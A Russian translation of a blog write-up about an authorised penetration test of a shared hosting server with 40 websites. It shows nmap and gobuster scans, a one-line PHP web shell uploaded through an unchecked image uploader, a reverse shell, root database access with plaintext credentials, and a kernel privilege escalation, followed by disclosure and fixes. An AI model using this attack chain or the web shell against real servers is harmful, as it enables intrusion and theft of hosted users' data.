- PVSM.RU - https://www.pvsm.ru -
Прошлый летом я заинтересовался вопросами информационной безопасности и взлома. Последний год я много играл в wargames, «захват флага», тестирование на проникновение, постоянно совершенствуя навыки взлома и изучая новые способы заставить компьютеры отклоняться от ожидаемого поведения.
Короче говоря, мой опыт ограничивался имитируемой средой, и, считая себя официальным хакером, я никогда не совал нос в бизнес других людей.
Это будет подробная история о том, как я взломал сервер, на котором размещалось 40 (это точное число) веб-сайтов, и о моих находках.
Примечание. Некоторые предварительные знания CS необходимы для понимания технической составляющей статьи.
Друг сообщил мне, что его веб-сайт XSS уязвим [1], и попросил меня взглянуть. Я попросил у него официальное разрешение на полное тестирование его веб-приложения на его сервере. Ответ был положительным.
В статье я буду ссылаться на сайт моего друга – http://example.com [2]
Первый шаг – найти как можно больше информации о своем враге, пытаясь как можно меньше его тревожить.
На этом этапе мы запускаем наш таймер и начинаем сканирование.
$ nmap --top-ports 1000 -T4 -sC http://example.com
Nmap scan report for example.com {redacted}
Host is up (0.077s latency).
rDNS record for {redacted}: {redacted}
Not shown: 972 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
| ssh-hostkey:
| {redacted}
80/tcp open http
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Victim Site
139/tcp open netbios-ssn
443/tcp open https
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_{redacted}
445/tcp open microsoft-ds
5901/tcp open vnc-1
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ VNC Authentication (2)
8080/tcp open http-proxy
|_http-title: 400 Bad Request
8081/tcp open blackice-icecap
Сканирование завершается по истечении 2 минут.
Множество открытых портов! Судя по тому, что порты FTP [3] (порт 21) и SMB (порты 139/445) открыты, можно предположить, что сервер используется для размещения и совместного использования файлов, а также является веб-сервером (порты 80/443 и прокси на 8080/8081).
При сканировании UDP-порта будет рассмотрено более 1000 портов, если вышеизложенной информации недостаточно. Единственным портом, с которым разрешено взаимодействовать (без учетных данных), является порт 80/443.
Не теряя времени, я запускаю gobuster
, чтобы найти какие-нибудь интересные файлы на веб-сервере, пока я буду копать информацию вручную.
$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
/admin
/login
Оказывается, путь /admin был «административным инструментом», который позволял аутентифицированным пользователям изменять материал на веб-сервере. Он требует параметры доступа, которых у нас нет (спойлер: gobuster не нашел ничего ценного).
Прошло около 3 минут. Ничего полезного.
Веб-сайт просит нас войти. Нет проблем. Создаем учетную запись с фиктивной электронной почтой [4], щелкаем по электронной почте подтверждения и входим в систему через несколько секунд.
Веб-сайт приветствует нас, предлагает перейти к профилю и обновить фотографию. Как мило.
Похоже, сайт сделан на заказ. Я собираюсь протестировать уязвимость с неограниченной загрузкой файлов [5]. На моем терминале я выполняю:
echo "<?php system($_GET['cmd']); ?>" > exploit.php
Я пытаюсь загрузить «картинку» и – бинго! Загрузчик позволяет загрузить файл exploit.php. Конечно, у него нет эскизов, но это значит, что мой файл где-то загружен.
Ожидается, что загрузчик выполнит какую-либо обработку загруженного файла, проверит его расширение и заменит принятое расширение, например .jpeg, .jpg, чтобы избежать удаленного выполнения кода злоумышленником, загружающим вредоносный код.
В конце концов, люди заботятся о безопасности.
`Copy image address` results in the following url being copied to our clipboard:
http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php
Похоже, что webshell готов и работает:
Видим, что веб-сервер запускает perl-скрипты (реально? perl?). Мы берём обратную оболочку perl из нашего любимого cheatsheet, устанавливаем IP/Port и получаем в качестве награды low-privileged оболочку – извините, нет скришота.
~ 5 минут в оценке, и у нас уже есть оболочка с низким уровнем привилегий.
К моему огромному удивлению, на сервере размещался не 1 сайт, а сразу 40 разных. К сожалению, я не сохранил скриншоты каждой детали, но выход был вдоль линий:
$ ls /var/www
access.log site1/ site2/ site3/ {... the list goes on}
Удивительно, но у меня был доступ на чтение ко всем размещенным веб-сайтам, а это означало, что я мог читать весь бэкенд-код сайтов. Я ограничился кодом example.com.
Примечательно, что внутри каталога cgi-admin/pages
все скрипты perl соединялись с базой данных mysql как root. Учетные данные для базы данных были в открытом виде. Пусть они будут root:pwned42.
Разумеется, на сервере была запущена MariaDB, и мне пришлось решить эту [6] проблему, прежде чем получить доступ к базе данных. После этого мы выполняем:
mysql -u root -p -h localhost victimdbname
Password: pwned42
И мы находимся в базе данных с привилегиями root.
Через 7 минут у нас есть полный доступ для чтения / записи к содержимому 35 (!) баз данных.
Морально я обязан здесь остановиться и поделиться выводами. Потенциальный ущерб уже огромен.
Процесс mysql запускался под root, поэтому я решил, что попробовал выполнить ! whoami
в надежде получить корни. К сожалению, я все еще был apache.
Время отдохнуть. Остановите таймер.
Я поделился своими выводами и получил разрешение копать глубже.
Прежде чем искать способы повысить свои привилегии до root и иметь возможность причинить огромный потенциальный ущерб, я посмотрел, какие другие интересные файлы мог бы читать, будучи ограниченным пользователем.
Я вспомнил об открытых портах SMB. Это означало, что где-то в папке должна быть другая папка, которая используется в системе среди пользователей. После небольшого поиска в каталоге /home/samba/secure
появляется следующее:
Внутри всех этих каталогов были файлы каждого пользователя хостинговой компании. Это включало все виды конфиденциальных данных, среди прочего:
Потребовалось некоторое время, чтобы пройти через папки и понять, насколько серьезна эта проблема.
Еще один перерыв.
Осмотревшись еще немного как apache, я решил, что пришло время пойти на большую рыбу – получить доступ root. Используя шпаргалки [7], начинаю перебирать систему.
В процессе исследования на уязвимости я уже перебрал большинство методов и, похоже, не смог найти ничего, что увеличило бы мою точку опоры.
В задачах Capture the Flag, которые я использую для игры, операционная система обычно пропатчена. Это некоторая намеренно неверно настроенная служба, которая в конечном итоге дает вам привилегии root. Однако в реальном мире люди не латают дыры.
Я имею в виду вот что: посмотрите на Equifax (не мог удержаться).
Какой Linux работает на сервере?
$ cat /etc/issue
CentOS Linux release 7.2.1511 (Core)
Какая версия ядра?
Это похоже на старую версию ядра.
Это напоминает вам что-то? Если нет, прочитайте здесь [8] (подсказка: это ОЧЕНЬ серьезно).
Я нашел этот [9] пост в блоге, который указал мне проверить, было ли ядро уязвимым для найденного здесь скрипта.
Временные метки и восстановленные сайты Firefox отредактированы
С последующим:
Я мгновенно написал электронное письмо, полностью раскрывающее детали и потенциальное влияние каждого шага, как описано выше. Уф.
На следующий день со мной связался друг (он связался с работающей на сервере компанией) и рассказал, что ошибка в загрузке файлов была исправлена.
Подводя итоги, мы обнаружили следующее:
Наконец, мы злоупотребили непропатченным ядром для получения доступа root.
Начнем с аплоудера, который дал основной плацдарм. Поскольку бэкенд всего веб-приложения был написан в perl, я не могу предложить решения.
Решение, которое я бы предложил, было бы таким: не использовать perl в 2017 году, но это только мое мнение.
Что касается файловой системы, я рекомендую проявлять большую осторожность при назначении правильных прав доступа к файлам для пользователей в соответствии с принципом наименьших привилегий [10]. Таким образом, даже если низкоприоритетный пользователь, такой как apache, получает доступ, он не может читать конфиденциальные файлы.
Запуск всех веб-сайтов на одном сервере – плохая идея, я не уверен, позволит ли докеризированный подход решить проблему.
Наличие одинаковых учетных данных для всех баз данных – безусловно, плохая идея.
Нежелательно иметь одиночные точки отказа.
Наконец, пропачьте все. Это всего лишь одна команда: su -c 'yum update'
(специфичная для CentOS).
Оригинал: How I Hacked 40 Websites in 7 minutes [11].
Автор: olemskoi
Источник [12]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/linux/271061
Ссылки в тексте:
[1] XSS уязвим: https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
[2] http://example.com: http://example.com
[3] FTP: https://en.wikipedia.org/wiki/File_Transfer_Protocol
[4] фиктивной электронной почтой: http://www.fakemailgenerator.com/
[5] неограниченной загрузкой файлов: https://www.owasp.org/index.php/Unrestricted_File_Upload
[6] эту: https://github.com/dockerfile/mariadb/issues/3
[7] шпаргалки: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
[8] здесь: https://www.theguardian.com/technology/2016/oct/21/dirty-cow-linux-vulnerability-found-after-nine-years
[9] этот: http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/
[10] принципом наименьших привилегий: https://en.wikipedia.org/wiki/Principle_of_least_privilege
[11] How I Hacked 40 Websites in 7 minutes: https://hackernoon.com/how-i-hacked-40-websites-in-7-minutes-5b4c28bc8824
[12] Источник: https://habrahabr.ru/post/345020/?utm_campaign=345020
Нажмите здесь для печати.